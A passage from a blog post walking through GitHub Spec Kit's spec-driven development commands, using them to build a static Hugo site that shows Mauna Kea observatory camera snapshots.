			<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/a9eR1xsfvHg?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
		</div>

<p>GitHub Spec Kit is, at its core, <strong>not a product</strong>. That&rsquo;s the fun part about working on this project - it&rsquo;s an experiment designed to test how well the <em>methodologies</em> behind SDD actually work.</p>
<p>If you look <a
  href="https://www.youtube.com/watch?v=o6SYjY1Bkzo"
  
  target="_blank" rel="noreferrer noopener"
>under the hood</a>, Spec Kit has a few fairly basic components:</p>
<ul>
<li>A number of pre-determined slash commands (stored in Markdown files):
<ul>
<li><code>/speckit.constitution</code> - define the project constitutional guardrails. These are the non-negotiable principles that must be respected at all times.</li>
<li><code>/speckit.specify</code> - build a specification document based on the user prompt.</li>
<li><code>/speckit.clarify</code> - ask the user for clarification questions on the spec to help prevent ambiguities.</li>
<li><code>/speckit.plan</code> - create a technical plan for the specification.</li>
<li><code>/speckit.tasks</code> - break down the technical plan and the spec into a set of individual tasks that a LLM can tackle.</li>
<li><code>/speckit.analyze</code> - analyze the spec, plan, and task breakdown for any inconsistencies.</li>
<li><code>/speckit.checklist</code> - create &ldquo;unit tests for English&rdquo; for your specification, enabling you to quickly find blind spots in your domain thinking (e.g., UX, security, accessibility, etc.).</li>
<li><code>/speckit.implement</code> - implement the project based on all of the combined artifacts.</li>
</ul>
</li>
<li>The <code>specify</code> CLI, that is used to scaffold the project with all the prompts for supported agents.</li>
</ul>
<p>That&rsquo;s&hellip; it. No, really - GitHub Spec Kit mostly revolves around prompts and a CLI that helps bring in all of the relevant project packages locally.</p>
<p>Let&rsquo;s start with the CLI, since it&rsquo;s the first piece of the experience here.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/specify-cli.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Using the Specify CLI on macOS."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/specify-cli.gif"
    
  />
  </a>
  <figcaption class="text-center">Using the Specify CLI on macOS.</figcaption>
</figure>
<p>Using the CLI is entirely optional because all it does is download an existing package from the GitHub repository that contains the pre-baked prompts (that will be used as custom slash commands) and some Spec Kit-specific metadata and templates. You can even download and extract them yourself directly from the GitHub Spec Kit repo.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/github-releases.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spec Kit releases on GitHub."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/github-releases.webp"
    
  />
  </a>
  <figcaption class="text-center">Spec Kit releases on GitHub.</figcaption>
</figure>
<p>Each package is specifically crafted for your <strong>agent</strong> and <strong>platform</strong> of choice - on POSIX-compatible systems you can use shell scripts, and on Windows (or Linux too, really) you can use PowerShell.</p>
<p>Once the project is instantiated, you can effectively just go through the flow-chart of commands:</p>
<div class="mermaid" align="center">
  
flowchart TD
    A["/speckit.constitution"] --> B["/speckit.specify"]
    B --> C{"Need clarification?"}
    C -->|"Yes"| D["/speckit.clarify"]
    D --> B
    C -->|"No"| E["/speckit.plan"]
    E --> F{"Check domain coverage?"}
    F -->|"Yes"| G["/speckit.checklist"]
    G --> E
    F -->|"No"| H["/speckit.tasks"]
    H --> I{"Need consistency check?"}
    I -->|"Yes"| J["/speckit.analyze"]
    J --> H
    I -->|"No"| K["/speckit.implement"]
    
    style A fill:#4CAF50
    style B fill:#4CAF50
    style E fill:#4CAF50
    style H fill:#4CAF50
    style K fill:#4CAF50
    style D fill:#FF9800
    style G fill:#FF9800
    style J fill:#FF9800

</div>

<p>All of the commands are available to you in the agent of choice. I myself use Visual Studio Code with GitHub Copilot, but the same commands and principles are applicable to any agent that you&rsquo;re using.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/spec-kit-commands.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Spec Kit commands in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/spec-kit-commands.webp"
    
  />
  </a>
  <figcaption class="text-center">Spec Kit commands in Visual Studio Code.</figcaption>
</figure>
<h2 id="step-by-step" class="relative group">Step-by-step <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#step-by-step" aria-label="Anchor">#</a></span></h2>
<p>Let&rsquo;s go step-by-step through all the commands that we can run here. And to make this more practical, I will actually be building something I wanted to have for some time - a tracker of the Mauna Kea cameras that are <a
  href="http://mkwc.ifa.hawaii.edu/current/cams/index.cgi?mode=multi"
  
  target="_blank" rel="noreferrer noopener"
>maintained by University of Hawai&rsquo;i</a>.</p>
<h3 id="setting-up-the-constitution" class="relative group">Setting up the constitution <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#setting-up-the-constitution" aria-label="Anchor">#</a></span></h3>
<p>The <strong>constitution</strong> is a set of non-negotiable principles for your project. Think of it as a set of constraints that you want to be universally applicable, that the LLM cannot skip out on under any circumstances. To set up the constitution, use the following command and prompt as an example:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.constitution this is a static website with minimal dependencies.
</span></span><span class="line"><span class="cl">There are no external services - everything should be built locally with
</span></span><span class="line"><span class="cl">existing tools and within existing conventions. Content files must be
</span></span><span class="line"><span class="cl">Markdown and data files must always be JSON.
</span></span></code></pre></div><p>I want to build a website that aggregates all the images in a nice, consumable way, without having to go to the website manually every time I want to see the latest status. The constitution serves that purpose - it establishes the foundational requirements that I do not want any complexity (e.g., do not build me SQL databases connected to some remote services) - this is all about local data collection.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/specify-bootstrap-constitution.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Bootstrapping the constitution document with Spec Kit in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/specify-bootstrap-constitution.gif"
    
  />
  </a>
  <figcaption class="text-center">Bootstrapping the constitution document with Spec Kit in Visual Studio Code.</figcaption>
</figure>
<p>Using this command will create a new constitution document inside <code>.specify/memory/constitution</code> that will contain the non-negotiable principles for your project. You can also manually amend it if something stands out that you don&rsquo;t like.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/vscode-constitution.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Editing the constitution document in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/vscode-constitution.webp"
    
  />
  </a>
  <figcaption class="text-center">Editing the constitution document in Visual Studio Code.</figcaption>
</figure>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/thinking.gif" alt="Mole is thinking." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>But do I have to create the constitution with this command? What if I already have an idea of the constraints, can I just bake them into my own constitution document manually and then have Spec Kit commands refer to it?</p>
    </div>
  </div>  
<p>I mean, you can also manually write the constitution document too - you don&rsquo;t need to rely on the LLM to do that work if you have a very clear understanding of what the constraints should be. For ease of use, however, I just recommend keeping it in the same location where Specify CLI put it - that way you don&rsquo;t need to update any references within the templates.</p>
<h3 id="building-the-specification" class="relative group">Building the specification <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#building-the-specification" aria-label="Anchor">#</a></span></h3>
<p>With the constitution out of the way, we can now go ahead and actually focus on the <strong>specification</strong>. As a reminder, a specification in this context is <strong>not</strong> about technical details but rather about the <strong>functional requirements</strong>. To get the specification bootstrap, you can use the <code>/speckit.specify</code> command - it will use a built-in template and will populate it based on the prompt that you give it, like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.specify I am building a visualizer of camera snapshots
</span></span><span class="line"><span class="cl">for Mauna Kea. The landing page should display all available
</span></span><span class="line"><span class="cl">cameras. There are 34 cameras total. I want them to be presented
</span></span><span class="line"><span class="cl">on the landing page in a uniform way - that is, the camera images
</span></span><span class="line"><span class="cl">themselves might be different sizes, but ultimately all should be
</span></span><span class="line"><span class="cl">shown the same in square cards. Cards for each camera should have
</span></span><span class="line"><span class="cl">a name for it as well as directional aiming
</span></span><span class="line"><span class="cl">(e.g., N, NW, Up, E, etc.). I also want the card to show the date
</span></span><span class="line"><span class="cl">and time of the last snapshot. The overall style of the landing
</span></span><span class="line"><span class="cl">page should be modern and using the dark theme. Color scheme
</span></span><span class="line"><span class="cl">should be accessible. When the user clicks on one of the
</span></span><span class="line"><span class="cl">camera cards, they should be able to navigate to the camera
</span></span><span class="line"><span class="cl">page, that shows camera metadata at the top (same as in cards),
</span></span><span class="line"><span class="cl">with a focused image of latest snapshots, and then the ability
</span></span><span class="line"><span class="cl">to browse 10 previous snapshots (which are also images). There
</span></span><span class="line"><span class="cl">is no video or other non-image data.
</span></span></code></pre></div><div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/lens.gif" alt="Mole is looking through a lens." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>The specification prompt looks way more elaborate than the constitution one. Is that intentional? Do I need to provide more context for the spec than I do for other items here?</p>
    </div>
  </div>  
<p>That&rsquo;s a very astute observation! I&rsquo;d say yes - the specification prompt should be as detailed as possible without getting into the weeds of technical implementation. It&rsquo;s OK if you don&rsquo;t include everything - specifications are documents that are in flux. We will have an opportunity to refine the requirements as we iterate.</p>
<p>Once you kick off the spec building process, a helper script will be executed (the type will depend on your choice of platform) that will bootstrap a new branch and then the LLM will start populating the specification.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/start-spec.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Starting the specification creation process with Spec Kit."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/start-spec.gif"
    
  />
  </a>
  <figcaption class="text-center">Starting the specification creation process with Spec Kit.</figcaption>
</figure>
<div class="flex flex-row items-center px-4 py-2 mb-8 text-base rounded-md bg-primary-100 dark:bg-primary-900">
    <div style="width: 25%;">
      <img src="https://assets.den.dev/images/shared/lens.gif" alt="Mole is looking through a lens." />
    </div>
    <div style="padding: 8px; max-width: 75%;">
      <p>Wait&hellip; Hold on&hellip; Did you say that you&rsquo;re creating a &ldquo;branch&rdquo;? Are the Spec Kit prompts managing my Git repository here?</p>
    </div>
  </div>  
<p>As with any new feature and capability added to the product, the best way to iterate on it is <strong>in isolation</strong>. That is - no matter what changes we make or how we break the code, it will all be contained to the designated branch alone. We&rsquo;re not very keen on breaking production code with our experiments.</p>
<p>The specification document will contain a few things of interest here, and if you are someone who is deep into the product management world like myself, you will see some familiar terms. Things like <strong>user stories</strong>, <strong>functional requirements</strong>, and <strong>success criteria</strong>.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/ready-spec.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="The specification document in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/ready-spec.webp"
    
  />
  </a>
  <figcaption class="text-center">The specification document in Visual Studio Code.</figcaption>
</figure>
<h3 id="clarifying-requirements" class="relative group">Clarifying requirements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#clarifying-requirements" aria-label="Anchor">#</a></span></h3>
<div class="flex px-4 py-3 rounded-md bg-primary-100 dark:bg-primary-900">
  <span class="text-primary-400 ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 128c17.67 0 32 14.33 32 32c0 17.67-14.33 32-32 32S224 177.7 224 160C224 142.3 238.3 128 256 128zM296 384h-80C202.8 384 192 373.3 192 360s10.75-24 24-24h16v-64H224c-13.25 0-24-10.75-24-24S210.8 224 224 224h32c13.25 0 24 10.75 24 24v88h16c13.25 0 24 10.75 24 24S309.3 384 296 384z"/></svg>

  </span>


  </span>
  <span class="dark:text-neutral-300">This step is <strong>optional</strong>. You don&rsquo;t need to run it if you believe your spec is clear or if you clarified things within it yourself.</span>
</div>
<p>With the specification now set, we can now also use the same LLM we&rsquo;ve been using to iterate on the spec to ask for clarifying questions. The biggest problem with specifications in my experience is actually <strong>underspecification</strong> - it&rsquo;s easy to miss requirements that you don&rsquo;t know you don&rsquo;t know. That&rsquo;s right - we&rsquo;re talking about unknown unknowns.</p>
<p>To help with that problem, we&rsquo;ll use <code>/speckit.clarify</code> to help bring the creative genius out of our amateur product manager endeavor.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/clarify.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Clarifying specification requirements with Spec Kit."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/clarify.gif"
    
  />
  </a>
  <figcaption class="text-center">Clarifying specification requirements with Spec Kit.</figcaption>
</figure>
<p>To make the clarification process a bit smoother, we baked some logic into the prompt to make sure that you&rsquo;re given a few potential answers instead of writing everything manually. AI is all about automation and delegation, right?</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/clarify-detail.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Example of the clarification flow from Spec Kit as seen in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/clarify-detail.webp"
    
  />
  </a>
  <figcaption class="text-center">Example of the clarification flow from Spec Kit as seen in Visual Studio Code.</figcaption>
</figure>
<p>When the clarification process is done, the specification document will be updated with all the details that you provided. The specification only becomes stronger if we question the initial assumptions.</p>
<h3 id="creating-the-technical-plan" class="relative group">Creating the technical plan <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#creating-the-technical-plan" aria-label="Anchor">#</a></span></h3>
<p>We&rsquo;re now ready to proceed to defining technical details with the help of the <code>/speckit.plan</code> command, which will instruct the LLM to create all the required artifacts that will enable us to <em>actually</em> build a version of the web experience I&rsquo;ve described.</p>
<p>My planning prompt is as follows:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.plan this is a Hugo website. It should not use any
</span></span><span class="line"><span class="cl">other frameworks outside of that. Templates for the page
</span></span><span class="line"><span class="cl">should be completely custom HTML, CSS, and JavaScript - do
</span></span><span class="line"><span class="cl">not pull in any dependencies. If you have to run npm install,
</span></span><span class="line"><span class="cl">that means that you&#39;ve gone the wrong way. Camera details
</span></span><span class="line"><span class="cl">(image URI, camera ID, direction) should be stored in a
</span></span><span class="line"><span class="cl">cameras.json file in the collector folder. The same folder
</span></span><span class="line"><span class="cl">should have a bash script that gets the image from every
</span></span><span class="line"><span class="cl">camera URI and stores it in a
</span></span><span class="line"><span class="cl">data/images/CAMERA_ID/YEAR_MONTH_DAY_HOUR_MINUTE.webp.
</span></span><span class="line"><span class="cl">Images need to be converted to WEBP from their source
</span></span><span class="line"><span class="cl">format within the bash script. GitHub Actions are used to
</span></span><span class="line"><span class="cl">run the script every 20 minutes - which will download all
</span></span><span class="line"><span class="cl">image snapshots for all cameras in cameras.json. When the
</span></span><span class="line"><span class="cl">Hugo site is built, images from the data folder should be
</span></span><span class="line"><span class="cl">used to construct the layout (i.e., used where required).
</span></span></code></pre></div>






<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/plan.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Planning stage with Spec Kit in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/plan.gif"
    
  />
  </a>
  <figcaption class="text-center">Planning stage with Spec Kit in Visual Studio Code.</figcaption>
</figure>
<p>And with the command executed, we&rsquo;ll get - you guessed it - more Markdown files. Primarily we need <code>plan.md</code>, but we can also see that there is a <code>data-model.md</code> that outlines, well, our data model, as well as some contracts - such as the schema for the <code>cameras.json</code> file that will store the camera metadata. We will need that to regularly collect image snapshots.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/plan-output.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Example output from the Spec Kit planning stage."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/plan-output.webp"
    
  />
  </a>
  <figcaption class="text-center">Example output from the Spec Kit planning stage.</figcaption>
</figure>
<h3 id="validating-with-checklists" class="relative group">Validating with checklists <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#validating-with-checklists" aria-label="Anchor">#</a></span></h3>
<div class="flex px-4 py-3 rounded-md bg-primary-100 dark:bg-primary-900">
  <span class="text-primary-400 ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 128c17.67 0 32 14.33 32 32c0 17.67-14.33 32-32 32S224 177.7 224 160C224 142.3 238.3 128 256 128zM296 384h-80C202.8 384 192 373.3 192 360s10.75-24 24-24h16v-64H224c-13.25 0-24-10.75-24-24S210.8 224 224 224h32c13.25 0 24 10.75 24 24v88h16c13.25 0 24 10.75 24 24S309.3 384 296 384z"/></svg>

  </span>


  </span>
  <span class="dark:text-neutral-300">This step is <strong>optional</strong>. You don&rsquo;t need to run it if you believe your spec is clear or if you clarified things within it yourself.</span>
</div>
<p>An intermediary step that I also found helpful to have when we have the <strong>specification</strong> and the <strong>plan</strong> outlined is the use of <code>/speckit.checklist</code>, which allows me to introduce &ldquo;unit tests for English&rdquo; - go through the spec and ensure that for a given domain (e.g., UX, security, accessibility, etc.) I&rsquo;ve specified the right amount of detail. This is yet another guardrail against underspecification, but this time it combines the power of functional and technical requirements.</p>
<p>Let&rsquo;s add one for UX:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.checklist UX
</span></span></code></pre></div><p>That&rsquo;s it, that&rsquo;s the command.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/checklist.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Generating a UX checklist with Spec Kit and Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/checklist.gif"
    
  />
  </a>
  <figcaption class="text-center">Generating a UX checklist with Spec Kit and Visual Studio Code.</figcaption>
</figure>
<p>Notice that even when you&rsquo;re generating a checklist, we&rsquo;re asking you clarifying questions because we want to make sure that the checklist accurately reflects the intent.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/checklist.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Generated UX checklist in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/checklist.webp"
    
  />
  </a>
  <figcaption class="text-center">Generated UX checklist in Visual Studio Code.</figcaption>
</figure>
<p>Once the checklist is generated, we now need to cross-correlate it with the contents of the spec and the technical plan. You can do this manually, but it will be a fairly tedious process. Or, you can ask the LLM to help you:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Go through the UX checklist and make sure that the &#34;what&#34; and
</span></span><span class="line"><span class="cl">&#34;why&#34; requirements are properly captured in the spec, and the
</span></span><span class="line"><span class="cl">technical requirements are captured appropriately in plan.md.
</span></span><span class="line"><span class="cl">Check off the items in the checklist that you&#39;ve completed.
</span></span></code></pre></div><p>It&rsquo;s worth noting that what can happen sometimes is that the implementation details, such as element sizes or colors, will bleed into the spec. That&rsquo;s <em>especially</em> common with LLMs that are over-eager, such as Claude Sonnet. When you inspect the changes and see that there is incorrect inclusion of technical details in the functional spec, ask the LLM to remove technical requirements and move them into the plan.</p>
<h3 id="break-things-into-tasks" class="relative group">Break things into tasks <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#break-things-into-tasks" aria-label="Anchor">#</a></span></h3>
<p>Time to now take all the context we&rsquo;ve baked into the swath of documents and have a clear set of tasks for the LLM to execute against. This is, in my opinion, one of the most important steps to verify - the tasks are a reflection of what the LLM will build, so we need to ensure that it&rsquo;s accurate and doesn&rsquo;t introduce unexpected changes. LLMs, after all, can be very enthusiastic about changing things on the fly.</p>
<p>To generate the tasks, just use:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.tasks
</span></span></code></pre></div>






<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/tasks.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Generating tasks with Spec Kit in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/tasks.gif"
    
  />
  </a>
  <figcaption class="text-center">Generating tasks with Spec Kit in Visual Studio Code.</figcaption>
</figure>
<p>You will notice that the generated <code>tasks.md</code> file has a breakdown of tasks by user story, and crucially - sequences them in a way that allows us to test the changes before all the tasks are complete.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/tasks.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Generated tasks file for the Mauna Kea camera snapshot tracker."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/tasks.webp"
    
  />
  </a>
  <figcaption class="text-center">Generated tasks file for the Mauna Kea camera snapshot tracker.</figcaption>
</figure>
<h3 id="pre-implementation-analysis" class="relative group">Pre-implementation analysis <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#pre-implementation-analysis" aria-label="Anchor">#</a></span></h3>
<div class="flex px-4 py-3 rounded-md bg-primary-100 dark:bg-primary-900">
  <span class="text-primary-400 ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 128c17.67 0 32 14.33 32 32c0 17.67-14.33 32-32 32S224 177.7 224 160C224 142.3 238.3 128 256 128zM296 384h-80C202.8 384 192 373.3 192 360s10.75-24 24-24h16v-64H224c-13.25 0-24-10.75-24-24S210.8 224 224 224h32c13.25 0 24 10.75 24 24v88h16c13.25 0 24 10.75 24 24S309.3 384 296 384z"/></svg>

  </span>


  </span>
  <span class="dark:text-neutral-300">This step is <strong>optional</strong>. You don&rsquo;t need to run it if you believe that the spec, technical plan, and task list are aligned.</span>
</div>
<p>The last step before we actually trigger the implementation is encapsulated in <code>/speckit.analyze</code>. This command scans the spec, technical plan, and tasks to make sure that they are coherent and map to the constitution. It&rsquo;s your last defense line against a potential mismatch in requirements.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/analyze.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Triggering the analysis process for the project artifacts with Spec Kit in Visual Studio Code."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/analyze.gif"
    
  />
  </a>
  <figcaption class="text-center">Triggering the analysis process for the project artifacts with Spec Kit in Visual Studio Code.</figcaption>
</figure>
<p>When the analysis is complete, you can ask the LLM to apply the relevant fixes - this will help prevent ambiguities or potential requirement conflicts. I&rsquo;ve, once again, noticed this happen with over-eager models, where a certain requirement might be specified several times in different ways, and the <code>/speckit.analyze</code> command helps avoid the scenario where they conflict or are re-implemented differently.</p>
<h3 id="implementation" class="relative group">Implementation <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#implementation" aria-label="Anchor">#</a></span></h3>
<div class="flex px-4 py-3 rounded-md alert-red-bg dark:alert-red-bg-dark">
  <span class="alert-red-text ltr:pr-3 rtl:pl-3">
    

  <span class="relative inline-block align-text-bottom icon" aria-hidden="true">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>

  </span>


  </span>
  <span class="dark:alert-red-text-dark"><strong>Before proceeding with the implementation</strong>, make sure to check in all existing artifacts. This will dramatically improve your ability to take out the code that doesn&rsquo;t correctly implement your requirements if the production goes off the rails.</span>
</div>
<p>We&rsquo;re finally at the last step - <code>/speckit.implement</code>. We&rsquo;ve done the work on the constitution and the spec, we made sure it&rsquo;s not underspecified, set up a technical plan, broke it down into tasks, and ensured that all of them make sense in the context of the whole project.</p>
<p>Time to type in and wait for the magic to happen:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">/speckit.implement
</span></span></code></pre></div>






<figure>
  <a href="https://assets.den.dev/images/postmedia/github-spec-kit/implement.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Implementing the list of tasks with Spec Kit."
    
    
    
      src="https://assets.den.dev/images/postmedia/github-spec-kit/implement.gif"
    
  />
  </a>
  <figcaption class="text-center">Implementing the list of tasks with Spec Kit.</figcaption>
</figure>
<p>After a few turns and iteration, I got a working aggregator that collected all of the images in GitHub <em>with the help of</em> GitHub Actions, and of course running entirely statically - it&rsquo;s a Hugo-based site hosted on Cloudflare.</p>
<video width="100%" controls>
  <source src="https://assets.den.dev/images/postmedia/github-spec-kit/hawaiidiff.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>
<p>You can even <a
  href="https://hawaiidiff.com"
  
  target="_blank" rel="noreferrer noopener"
>try it out yourself</a>! It&rsquo;s not an overly-complex project, but I managed to wire it up and set it up after having it on my &ldquo;to do&rdquo; list for a year. Using the spec-driven approach with a coding agent literally let me move a project from an idea to a functional app in less than two hours. Not a bad outcome, considering how much time I&rsquo;d spend manually scaffolding and implementing CSS and JavaScript logic.</p>
<h2 id="iteration" class="relative group">Iteration <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#iteration" aria-label="Anchor">#</a></span></h2>
<p>One of the things I mentioned above that you might&rsquo;ve glanced over is that I called out <strong>iteration</strong>. As Mitchell Hashimoto <a
  href="https://mitchellh.com/writing/non-trivial-vibing"
  
  target="_blank" rel="noreferrer noopener"
>observed as well</a>, agents require supervision, and if you let a coding agent run loose without you guiding it to the right destination, you might just end up at the wrong destination.</p>
<p>The spec-based approach allows you to confidently <strong>build the scaffolding</strong>. This is the first step of the process. Once the scaffolding is established, it&rsquo;s your job to now <em>refine the output</em>. If it&rsquo;s not quite what you expected to begin with, you can blow away the code and start with tweaking the spec, plan, and task list and then re-building the implementation.</p>
<p>Another approach here is to have the LLM add Git-based checkpoints after specific phases - it&rsquo;s not yet baked into Spec Kit from the start, but the more I think about the iterative approach, the more I like leaning into existing developer tools to make this process smoother and more, shall we say, reversible. Go where the developers are.</p>
